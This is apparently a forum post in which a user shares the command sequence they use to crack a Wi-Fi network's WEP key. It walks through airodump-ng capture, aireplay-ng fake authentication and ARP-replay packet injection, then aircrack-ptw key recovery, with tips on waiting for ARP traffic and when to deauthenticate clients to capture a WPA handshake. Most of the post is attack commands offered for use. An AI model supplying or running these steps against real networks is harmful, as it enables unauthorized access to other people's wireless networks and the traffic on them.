Ok I'll show you the script I use. Like I originally said if there is a client connected I really fail to see a reason to deauth. Just be a little patient and a Arp packet will come.
_after setting card in monitor mode
airodump-ng -c {channel} -w {file name} .ivs or .cap {this depends on whick aircrack your using
aireplay-ng -1 6000 -e bssid -a macofap -b your mac ath0{or your interface]
{leave those open and open new shell}
aireplay-ng -3 -b macofap -h your mac ath0
WAIT!!!! until packet is captured. If 10mins goes by and you dont get a packet then you can deauth}
[new shell]
aircrack-ptw filename-01.cap
as far as Im concerned the deauth command is for capturing the wap 4 way hand shake since this only happens at connection


